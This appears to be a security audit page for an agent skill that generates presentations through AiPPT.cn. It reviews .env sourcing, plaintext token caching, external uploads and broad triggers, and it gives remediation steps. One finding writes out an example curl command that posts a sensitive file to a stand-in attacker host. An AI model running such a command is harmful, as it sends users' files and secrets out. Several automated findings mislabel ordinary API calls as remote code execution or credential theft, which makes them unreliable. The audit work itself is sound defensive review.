Back to skill

Security audit

AiPPT-skill

Security checks for vulnerabilities and agentic risk

Overview

The skill is a real AiPPT integration, but its local credential handling and broad activation scope need review before installation.

Install only if you are comfortable sending presentation topics, URLs, and selected local documents to AiPPT.cn. Prefer platform-managed secrets over a local .env file, avoid installing in shared writable directories, and clear or protect the token cache if you use the skill.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/aippt.sh:11
Finding
Arbitrary Shell Execution Through Executable .env Configuration<![CDATA[ ## Vulnerability Details **File Location**: `scripts/aippt.sh`, lines 11–15 **Vulnerability Type**: Executable configuration file / arbitrary shell command execution **Risk Level**: High ### Vulnerable Code ```bash ENV_FILE="${SKILL_DIR}/.env" TOKEN_CACHE="${SKILL_DIR}/.token_cache.json" BASE_URL="https://co.aippt.cn" [ -f "$ENV_FILE" ] && source "$ENV_FILE" ``` ### Technical Analysis The script loads `.env` with the Bash `source` built-in. Unlike a parser restricted to environment-variable assignments, `source` interprets the entire file as shell code in the current process. Consequently, `.env` may contain command substitutions, redirections, function definitions, executable commands, or changes to shell behavior. The file is loaded before the script validates credentials or dispatches a requested operation, so malicious code runs whenever any command—including `help`—is invoked. This behavior is unnecessary for the declared functionality. The Skill only requires three configuration values: `AIPPT_APP_KEY`, `AIPPT_SECRET_KEY`, and `AIPPT_UID`. Reading those values does not require executing a configuration file. Exploitation requires an attacker to create or modify `.env` in the Skill directory. This could occur through another compromised Skill, an insecure extraction or deployment process, shared writable storage, or excessive directory permissions. ### Attack Path 1. An attacker obtains write access to the project’s `.env` file or creates it if it does not exist. 2. The attacker inserts a shell payload, for example: ```bash AIPPT_APP_KEY="expected-value" AIPPT_SECRET_KEY="expected-value" curl -X POST --data-binary @/path/to/sensitive/file https://attacker.example/upload ``` 3. A user or Agent invokes any operation: ```bash bash scripts/aippt.sh help ``` 4. Bash executes `source "$ENV_FILE"` before command dispatch. 5. The attacker’s payload runs with the same operating-system identity, filesystem access, environme ...[truncated 878 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove executable `.env` loading: ```bash # Do not use: source "$ENV_FILE" ``` 2. Prefer credentials supplied exclusively through the platform’s protected environment or secret-management facility. 3. If `.env` compatibility is required, parse only an explicit allowlist of variables without evaluating shell syntax. Reject: - Command substitutions such as `$(...)` and backticks. - Redirections and pipelines. - Function definitions. - Additional variable names. - Multiline or malformed values. 4. Validate file security before reading: - Require ownership by the current user. - Reject symbolic links. - Reject group-writable and world-writable files. - Require permissions no broader than `0600`. 5. Keep the Skill installation directory non-writable by unrelated users and processes. 6. Document that `.env` is data rather than shell code and add automated tests proving that shell expressions in configuration values are never executed. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/aippt.sh:83
Finding
Reusable Authentication Token Stored in an Unprotected Plaintext Cache<![CDATA[ ## Vulnerability Details **File Location**: `scripts/aippt.sh`, lines 83–122 **Vulnerability Type**: Insecure storage of sensitive authentication material and unsafe cache-file handling **Risk Level**: Medium ### Vulnerable Code ```bash if [ -f "$TOKEN_CACHE" ]; then local t e t=$(python3 - "$TOKEN_CACHE" <<'PYEOF' import sys, json try: d = json.load(open(sys.argv[1])) print(d.get('token', '')) except Exception: print('') PYEOF ) e=$(python3 - "$TOKEN_CACHE" <<'PYEOF' import sys, json try: d = json.load(open(sys.argv[1])) print(d.get('expire_time', 0)) except Exception: print(0) PYEOF ) [ -n "$t" ] && [ "$e" -gt "$now" ] 2>/dev/null && { echo "$t"; return 0; } fi local ts; ts=$(date +%s) local sig; sig=$(generate_signature "GET" "/api/grant/token/" "$ts") local resp; resp=$(curl -sL "${BASE_URL}/api/grant/token/?uid=${UID_VALUE}" \ -H "x-api-key: ${APP_KEY}" -H "x-timestamp: ${ts}" -H "x-signature: ${sig}") local token exp cached_at token=$(echo "$resp" | python3 -c "import sys,json;print(json.load(sys.stdin)['data']['token'])") exp=$(echo "$resp" | python3 - "$ts" <<'PYEOF' import sys, json data = json.load(sys.stdin)['data'] base = int(sys.argv[1]) print(base + int(data.get('time_expire', 259200))) PYEOF ) cached_at=$(date +%s) python3 - "$TOKEN_CACHE" "$token" "$exp" "$cached_at" <<'PYEOF' import sys, json path, token, exp, cached_at = sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv[4]) json.dump({'token': token, 'expire_time': exp, 'cached_at': cached_at}, open(path, 'w'), indent=2) PYEOF ``` ### Technical Analysis The Skill writes a reusable API bearer token to `.token_cache.json` in plaintext. The write operation does not: - Set a restrictive process umask. - Explicitly create the file with mode `0600`. - Verify that the cache is owned by the current user. - Reject symbolic links. - Use atomic file creation and replacement. - Store the token in a platform-managed credential facility. The ...[truncated 2376 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Prefer storing the token in the platform’s protected secret or credential store rather than in the project directory. 2. If a local cache is required, create a private runtime directory and enforce restrictive permissions: ```bash umask 077 ``` 3. Create the cache atomically with mode `0600`. Write to a securely created temporary file in the same directory, validate it, and atomically rename it into place. 4. Before reading or writing the cache: - Reject symbolic links. - Verify that the file is a regular file. - Verify ownership by the current effective user. - Reject group or world permissions. - Ensure the parent directory is not writable by untrusted users. 5. Avoid placing authentication material inside a distributable or shared Skill directory. Use a user-specific cache directory with restrictive permissions. 6. Delete the cache when authentication fails, credentials change, or the token expires. 7. Minimize token lifetime and server-side privileges. Revoke potentially exposed tokens after deploying the fix. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
Findings (15)

External Model or Provider Selection

High
Category
Excessive Agency
Content
bash scripts/aippt.sh senior_options_pretty
bash scripts/aippt.sh generate "标题" --outline-only
bash scripts/aippt.sh generate "标题" --options '{"page":3,"group":6,"scene":18,"tone":40,"language":47}'
bash scripts/aippt.sh generate "标题" --model "deepSeek-v3" --web-search --options '{"page":3,"group":6,"scene":18,"tone":40,"language":47}'
bash scripts/aippt.sh generate_continue "<task_id>" "<title>"
```
Confidence
90% confidence
Finding
The skill explicitly supports selecting an external model/provider and enabling web search, which can route user content to third-party processing or external retrieval paths. This increases data exposure and compliance risk if users are not clearly informed which provider is used, what data is sent externally, and whether web search is enabled.

Credential Access

High
Category
Privilege Escalation
Content
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
SKILL_DIR="$(dirname "$SCRIPT_DIR")"
ENV_FILE="${SKILL_DIR}/.env"
TOKEN_CACHE="${SKILL_DIR}/.token_cache.json"
BASE_URL="https://co.aippt.cn"
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

External Script Fetching

High
Category
Supply Chain
Content
fi
    local ts; ts=$(date +%s)
    local sig; sig=$(generate_signature "GET" "/api/grant/token/" "$ts")
    local resp; resp=$(curl -sL "${BASE_URL}/api/grant/token/?uid=${UID_VALUE}" \
        -H "x-api-key: ${APP_KEY}" -H "x-timestamp: ${ts}" -H "x-signature: ${sig}")
    local token exp cached_at
    token=$(echo "$resp" | python3 -c "import sys,json;print(json.load(sys.stdin)['data']['token'])")
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
[ -n "$senior_opts" ] && curl_args+=(--data-urlencode "senior_options=${senior_opts}")
            [ -n "$is_web_search" ] && curl_args+=(--data-urlencode "is_web_search=${is_web_search}")
            [ -n "$preset_id" ] && curl_args+=(--data-urlencode "id=${preset_id}")
            curl "${curl_args[@]}"
            ;;
        *)
            # 其余类型:文件上传(file 字段)
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
[ -n "$senior_opts" ] && curl_args+=(--data-urlencode "senior_options=${senior_opts}")
            [ -n "$is_web_search" ] && curl_args+=(--data-urlencode "is_web_search=${is_web_search}")
            [ -n "$preset_id" ] && curl_args+=(--data-urlencode "id=${preset_id}")
            curl "${curl_args[@]}"
            ;;
        *)
            # 其余类型:文件上传(file 字段)
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
cmd_word() {
    local task_id="${1:?用法: word <task_id>}"
    local token=$(get_token)
    curl -s --max-time 180 -N "${BASE_URL}/api/ai/chat/v2/word?task_id=${task_id}" \
        -H "x-api-key: ${APP_KEY}" -H "x-channel;" -H "x-token: ${token}"
}
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
cmd_word() {
    local task_id="${1:?用法: word <task_id>}"
    local token=$(get_token)
    curl -s --max-time 180 -N "${BASE_URL}/api/ai/chat/v2/word?task_id=${task_id}" \
        -H "x-api-key: ${APP_KEY}" -H "x-channel;" -H "x-token: ${token}"
}
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
curl_args+=(-F "files=@${f}")
    done
    local create_resp
    create_resp=$(curl "${curl_args[@]}")
    check_resp "$create_resp" "create"
    local task_id
    task_id=$(echo "$create_resp" | python3 -c "import sys,json;print(json.load(sys.stdin)['data']['id'])" 2>/dev/null)
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Vague Triggers

Medium
Confidence
92% confidence
Finding
The listed triggers include very general phrases such as '做 PPT', '生成 PPT', and '创建演示文稿', which are broad natural-language requests that could match ordinary conversation rather than a narrowly scoped invocation. The document does not provide exclusion conditions or negative examples to clarify when this skill should not activate.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The script sends user-specified file content to an external API via curl, including raw file uploads and markdown content ingestion, without an explicit privacy notice at the point of transfer. In an agent skill context, that omission is security-relevant because users may not realize local files are leaving the host environment.

External Transmission

Medium
Category
Data Exfiltration
Content
cmd_word() {
    local task_id="${1:?用法: word <task_id>}"
    local token=$(get_token)
    curl -s --max-time 180 -N "${BASE_URL}/api/ai/chat/v2/word?task_id=${task_id}" \
        -H "x-api-key: ${APP_KEY}" -H "x-channel;" -H "x-token: ${token}"
}
Confidence
70% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Missing User Warnings

Medium
Confidence
96% confidence
Finding
The function uploads one or more local reference documents to a third-party API using multipart form data, but there is no explicit consent or privacy warning at the operation site. Because these files may contain confidential business data, the main risk is unintended data exfiltration to an external service rather than code execution.

Vague Triggers

Medium
Confidence
95% confidence
Finding
The trigger list includes very broad, generic phrases such as "PPT", "presentation", "slides", and "generate PPT", which are likely to match many normal user requests outside a narrowly intended invocation scope. This can cause unintended skill activation and route user content to an external PPT-generation service, increasing the chance of inappropriate data sharing or user confusion about which tool is handling the request.

Natural-Language Policy Violations

Low
Confidence
65% confidence
Finding
The trigger and configuration text includes controlling '语言' as part of the skill behavior, but the document does not explicitly state that language choice should be user-selected rather than assumed. This creates some risk that the skill could force or default to a language without clear user opt-in.

Natural-Language Policy Violations

Low
Confidence
97% confidence
Finding
Natural-language strings throughout the script, including usage text and error messages, force a Chinese-language interaction model. Under the stated policy, a fixed language/locale should not be imposed unless the user is given a choice or the locale constraint is clearly documented and justified.

Static analysis

No suspicious patterns detected.